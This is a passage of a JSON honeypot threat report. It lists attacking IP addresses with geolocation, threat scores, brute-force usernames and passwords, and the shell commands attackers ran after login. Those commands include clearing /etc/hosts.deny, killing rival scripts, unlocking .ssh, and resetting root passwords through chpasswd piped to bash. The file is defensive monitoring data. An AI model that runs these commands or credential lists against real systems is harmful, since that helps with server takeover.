      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T14:25:18.560000+00:00",
        "last_seen_30d": "2026-03-29T14:26:39.621000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.80.174.101": {
      "attack_count": 2,
      "first_seen": "2026-03-07T08:48:35.124Z",
      "last_seen": "2026-03-07T08:48:48.552Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Fara Gera d'Adda",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T08:48:35.124000+00:00",
        "last_seen_30d": "2026-03-07T08:49:55.038000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.182.83.231": {
      "attack_count": 2272,
      "first_seen": "2026-03-02T07:18:55.125Z",
      "last_seen": "2026-03-24T03:21:14.341Z",
      "sessions": 173,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cisco",
        "a",
        "aman",
        "apexuser",
        "claude",
        "ethan",
        "ftpuser",
        "jnode",
        "jun",
        "planka",
        "rdp",
        "student5",
        "test123",
        "ubuntu",
        "yasin",
        "7days",
        "abdel",
        "alexis"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "123456",
        "12345678",
        "123",
        "12345",
        "1234567812345678",
        "123456qq!",
        "ABCabc456",
        "Asd@12345",
        "Bingo@1993",
        "Cisco123!",
        "Root@123..",
        "Welcome@12345",
        "Ww123456.",
        "bot",
        "qq.123",
        "root12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123123\\nq2hxZhNLd7Fe\\nq2hxZhNLd7Fe\\n\"|passwd",
        "echo \"12345678\\n3PPAkaHk34tJ\\n3PPAkaHk34tJ\\n\"|passwd",
        "echo \"123456\\nkFZdxeMuuRwL\\nkFZdxeMuuRwL\\n\"|passwd",
        "echo \"1234\\nXaQ4o2IWPJtr\\nXaQ4o2IWPJtr\\n\"|passwd",
        "echo \"Cisco123!\\nHvKhXEjbCkAB\\nHvKhXEjbCkAB\\n\"|passwd",
        "echo \"Cisco123!\\njZIKlp9StS7N\\njZIKlp9StS7N\\n\"|passwd",
        "echo \"Rdp123\\n5oD6rz3RcF8O\\n5oD6rz3RcF8O\\n\"|passwd",
        "echo \"claude1\\n5b6mrzo8mTUs\\n5b6mrzo8mTUs\\n\"|passwd",
        "echo \"ftpuser2026\\noNCQOvMV69BP\\noNCQOvMV69BP\\n\"|passwd",
        "echo \"jnode\\nOYZlTG5RzUKR\\nOYZlTG5RzUKR\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Orihuela",
      "asn": 200845,
      "as_org": "Avatel Telecom, SA",
      "threat_score": 46.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 2687,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:18:55.125000+00:00",
        "last_seen_30d": "2026-03-24T03:22:17.556000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2272,
        "Suricata": 415
      }
    },
    "202.155.157.129": {
      "attack_count": 1392,
      "first_seen": "2026-03-04T17:48:45.696Z",
      "last_seen": "2026-03-22T18:18:48.801Z",
      "sessions": 102,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abe",
        "apexuser",
        "bai",
        "clawd",
        "dp",
        "elasticsearch",
        "friend",
        "jwlee",
        "kyle",
        "nginx",
        "nx",
        "temp",
        "testmail",
        "usuario1",
        "won",
        "abc",
        "anders",
        "backupuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "password",
        "1234",
        "!Qwer1234",
        "1122",
        "123mudar",
        "123qwe11",
        "2wsx!QAZ",
        "8866",
        "Aa123123",
        "Ab123456@",
        "Abc123",
        "Abc12345",
        "Abcd1234.",
        "Bai123",
        "Bert123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nCvvf0QD7MSFz\\nCvvf0QD7MSFz\\n\"|passwd",
        "echo \"123456\\nY9EenZeNj7bj\\nY9EenZeNj7bj\\n\"|passwd",
        "echo \"123456\\nyPUB6klJN4eW\\nyPUB6klJN4eW\\n\"|passwd",
        "echo \"123\\nWdQyZOr4hN0c\\nWdQyZOr4hN0c\\n\"|passwd",
        "echo \"Bai123\\nZAlAy0G4SKVg\\nZAlAy0G4SKVg\\n\"|passwd",
        "echo \"apexuser123!\\nUoLrXbzjFqqD\\nUoLrXbzjFqqD\\n\"|passwd",
        "echo \"elasticsearch1234\\n7PftRvZA9ziy\\n7PftRvZA9ziy\\n\"|passwd",
        "echo \"friend123\\nFfI1jJFm97Fj\\nFfI1jJFm97Fj\\n\"|passwd",
        "echo \"nxpass\\nhd4iJHvO3LkW\\nhd4iJHvO3LkW\\n\"|passwd",
        "echo \"password\\nNTibTIV6py3f\\nNTibTIV6py3f\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138115,
      "as_org": "PT Deneva",
      "threat_score": 40.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 1631,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T17:48:45.696000+00:00",
        "last_seen_30d": "2026-03-22T18:19:57.325000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1392,
        "Suricata": 239
      }
    },
    "167.99.196.186": {
      "attack_count": 1133,
      "first_seen": "2026-03-13T08:58:01.167Z",
      "last_seen": "2026-03-13T12:36:32.197Z",
      "sessions": 224,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "apache",
        "git",
        "mysql",
        "nginx",
        "pi",
        "postgres",
        "root",
        "test",
        "ubuntu",
        "user",
        "docker",
        "guest"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "password",
        "qwerty",
        "123123",
        "letmein",
        "passw0rd",
        "123",
        "admin",
        "default",
        "server",
        "111111",
        "access",
        "admin123",
        "backup",
        "data",
        "dbadmin"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 1623,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T08:58:00.901000+00:00",
        "last_seen_30d": "2026-03-13T12:37:38.928000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1133,
        "Suricata": 490
      }
    },
    "134.122.115.163": {
      "attack_count": 1055,
      "first_seen": "2026-03-02T00:51:38.630Z",
      "last_seen": "2026-03-02T02:53:45.514Z",
      "sessions": 210,
      "ports": [],
      "usernames_attempted": [
        "git",
        "hadoop",
        "oracle",
        "postgres",
        "user",
        "test",
        "root",
        "apache",
        "deploy",
        "guest",
        "mysql",
        "nagios",
        "server",
        "testuser",
        "vps",
        "weblogic"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "321",
        "pass",
        "password",
        "qwerty",
        "123321",
        "123456",
        "1234qwer",
        "123qwe",
        "1q2w3e",
        "1q2w3e4r",
        "321123",
        "654321",
        "P@ssw0rd",
        "p@ssw0rd",
        "pass123",
        "pass1234",
        "passpass",
        "passwd"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1502,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:51:38.630000+00:00",
        "last_seen_30d": "2026-03-02T02:54:54.574000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1055,
        "Suricata": 447
      }
    },
    "172.190.142.151": {
      "attack_count": 803,
      "first_seen": "2026-03-09T23:27:12.627Z",
      "last_seen": "2026-03-27T21:06:10.963Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "n8n",
        "adrian",
        "antoine",
        "hosting",
        "remoteuser",
        "yy",
        "assistant",
        "boom",
        "casa",
        "clawd",
        "cloud",
        "controlm",
        "csserver",
        "cyber",
        "dan",
        "develop",
        "developer",
        "flutter"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1234",
        "n8n",
        "12345678",
        "password",
        "0313",
        "123123123",
        "12345",
        "123456abcd",
        "123456e",
        "1999",
        "1A2b3C4d",
        "1qaz2wsx88!!",
        "444555",
        "Abc258369",
        "Cloud2026",
        "Csserver123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nBBvI9eavWpgn\\nBBvI9eavWpgn\\n\"|passwd",
        "echo \"123456\\nXE4n9k9yhil9\\nXE4n9k9yhil9\\n\"|passwd",
        "echo \"remoteuser\\nAElM07zrAujz\\nAElM07zrAujz\\n\"|passwd",
        "echo \"root:57z30x0VgrKR\"|chpasswd|bash",
        "echo \"root:JyPh0iYMvqZa\"|chpasswd|bash",
        "echo \"root:u8wE2O8XrE0w\"|chpasswd|bash",
        "echo -e \"123456\\nBBvI9eavWpgn\\nBBvI9eavWpgn\"|passwd|bash",
        "echo -e \"123456\\nXE4n9k9yhil9\\nXE4n9k9yhil9\"|passwd|bash",
        "echo -e \"remoteuser\\nAElM07zrAujz\\nAElM07zrAujz\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 50.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1000,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T23:27:12.627000+00:00",
        "last_seen_30d": "2026-03-27T21:07:13.897000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 803,
        "Suricata": 197
      }
    },
    "110.14.190.217": {
      "attack_count": 580,
      "first_seen": "2026-03-09T22:40:00.698Z",
      "last_seen": "2026-03-20T12:52:38.868Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alfred",
        "arthur",
        "dylan",
        "moodle",
        "msf",
        "steam",
        "abhishek",
        "admin",
        "andres",
        "apagar",
        "apolo",
        "bot1",
        "cedric",
        "ceshi2",
        "clawd",
        "dell",
        "farmacia",
        "geonode"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345678",
        "123456",
        "12345qwert",
        "9ijn(IJN",
        "Dell123",
        "Demo@123",
        "Pass@123",
        "Qwe123..",
        "Steam123!",
        "alfredpass",
        "andrespass",
        "bot1@123456",
        "clawd123",
        "dylan1234",
        "farmacia1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\n4mGCRTvbOesT\\n4mGCRTvbOesT\\n\"|passwd",
        "echo \"Steam123!\\nX2tGCO5afUdy\\nX2tGCO5afUdy\\n\"|passwd",
        "echo \"alfredpass\\n5G3bWelEtO7y\\n5G3bWelEtO7y\\n\"|passwd",
        "echo \"dylan1234\\nMPZZnS426S3Z\\nMPZZnS426S3Z\\n\"|passwd",
        "echo \"moodlemoodle\\nX4fNS6Jfn5ld\\nX4fNS6Jfn5ld\\n\"|passwd",
        "echo -e \"1234\\n4mGCRTvbOesT\\n4mGCRTvbOesT\"|passwd|bash",
        "echo -e \"Steam123!\\nX2tGCO5afUdy\\nX2tGCO5afUdy\"|passwd|bash",
        "echo -e \"alfredpass\\n5G3bWelEtO7y\\n5G3bWelEtO7y\"|passwd|bash",
        "echo -e \"dylan1234\\nMPZZnS426S3Z\\nMPZZnS426S3Z\"|passwd|bash",
        "echo -e \"moodlemoodle\\nX4fNS6Jfn5ld\\nX4fNS6Jfn5ld\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongnam-si",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.5,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 714,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T22:40:00.698000+00:00",
        "last_seen_30d": "2026-03-20T12:53:42.730000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 580,
        "Suricata": 134
      }
    },
    "135.237.122.43": {
      "attack_count": 474,
      "first_seen": "2026-03-09T09:52:45.635Z",
      "last_seen": "2026-03-27T18:27:51.436Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jenkins",
        "user1",
        "asterix",
        "asus",
        "azureuser",
        "bodega",
        "bruno",
        "huang",
        "karim",
        "openeuler",
        "personal",
        "shawn",
        "student",
        "taibabi",
        "test",
        "ts3bot",
        "ts3server",
        "vendas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!234567Qwertyu",
        "123",
        "123321123321",
        "1234",
        "12345",
        "1234560a",
        "12345678",
        "1234qwer!!",
        "123qweasdzxc",
        "1q2w3e!",
        "@dm1n1str@t0r",
        "Admin@5000",
        "Al123456",
        "Debian@2024",
        "Jia123456",
        "P@ssw1rd",
        "Qaz@123123",
        "Ts3bot123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"jenkins123\\naA5VKfh8MKtT\\naA5VKfh8MKtT\\n\"|passwd",
        "echo \"root:Lg34hrnqUvPL\"|chpasswd|bash",
        "echo \"root:R0TkgDCuZ0ne\"|chpasswd|bash",
        "echo \"root\\nrqZpZJZBqjaA\\nrqZpZJZBqjaA\\n\"|passwd",
        "echo -e \"jenkins123\\naA5VKfh8MKtT\\naA5VKfh8MKtT\"|passwd|bash",
        "echo -e \"root\\nrqZpZJZBqjaA\\nrqZpZJZBqjaA\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 48.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.7,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 588,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T09:52:45.635000+00:00",
        "last_seen_30d": "2026-03-27T18:28:55.005000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 474,
        "Suricata": 114
      }
    },
    "103.23.199.128": {
      "attack_count": 435,
      "first_seen": "2026-03-06T10:10:32.352Z",
      "last_seen": "2026-03-19T15:45:34.840Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jhpark",
        "testuser",
        "zjsf",
        "ankit",
        "beehive",
        "dev",
        "dev1",
        "ernesto",
        "erp",
        "guest",
        "krishna",
        "linuxadmin",
        "master",
        "melo",
        "monitor",
        "mukesh",
        "newusername",
        "omm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "password",
        "1234",
        "12345",
        "12345678",
        "@qwer2024",
        "@qwer2025",
        "Master123!",
        "Omm123!",
        "Pass!234",
        "Password@1",
        "Root@#$123",
        "Zjm123",
        "ankitpass",
        "ernesto123!",
        "erp",
        "linuxadmin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\ntU1dZiAkBLOy\\ntU1dZiAkBLOy\\n\"|passwd",
        "echo \"123\\nRoOw5Wg8E6Xv\\nRoOw5Wg8E6Xv\\n\"|passwd",
        "echo \"root:4RCDWvsj6ccw\"|chpasswd|bash",
        "echo \"testuser\\nAVUR4tU919Mx\\nAVUR4tU919Mx\\n\"|passwd",
        "echo -e \"12345\\ntU1dZiAkBLOy\\ntU1dZiAkBLOy\"|passwd|bash",
        "echo -e \"123\\nRoOw5Wg8E6Xv\\nRoOw5Wg8E6Xv\"|passwd|bash",
        "echo -e \"testuser\\nAVUR4tU919Mx\\nAVUR4tU919Mx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.3,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 534,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T10:10:32.352000+00:00",
        "last_seen_30d": "2026-03-19T15:46:43.935000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 435,
        "Suricata": 99
      }
    },
    "103.187.147.128": {
      "attack_count": 404,
      "first_seen": "2026-03-02T20:20:19.149Z",
      "last_seen": "2026-03-26T00:39:17.419Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cliente",
        "puppet",
        "admin1",
        "alice",
        "bhavesh",
        "chrism",
        "clawd",
        "deployer",
        "dheeraj",
        "evan",
        "ibrahim",
        "michele",
        "postgres",
        "victor",
        "zhuge"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "123123",
        "1234",
        "12345",
        "123456",
        "151515",
        "21ops.comM",
        "@dmin2024",
        "Aa1234567",
        "As123456@",
        "Michele123!",
        "ZL123456@",
        "Zhuge123!",
        "a123456a",
        "alice123!",
        "assign",
        "cliente123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nxcl7FAcKGt1U\\nxcl7FAcKGt1U\\n\"|passwd",
        "echo \"cliente123!\\nK49vBPCa0kRo\\nK49vBPCa0kRo\\n\"|passwd",
        "echo \"root:ATVkX3of0OZq\"|chpasswd|bash",
        "echo \"root:bQE158uktHcr\"|chpasswd|bash",
        "echo -e \"12345\\nxcl7FAcKGt1U\\nxcl7FAcKGt1U\"|passwd|bash",
        "echo -e \"cliente123!\\nK49vBPCa0kRo\\nK49vBPCa0kRo\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 49.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 484,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:20:19.149000+00:00",
        "last_seen_30d": "2026-03-26T00:40:25.627000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 404,
        "Suricata": 80
      }
    },
    "161.132.180.118": {
      "attack_count": 375,
      "first_seen": "2026-03-08T23:21:00.747Z",
      "last_seen": "2026-03-16T14:49:36.951Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "bert",
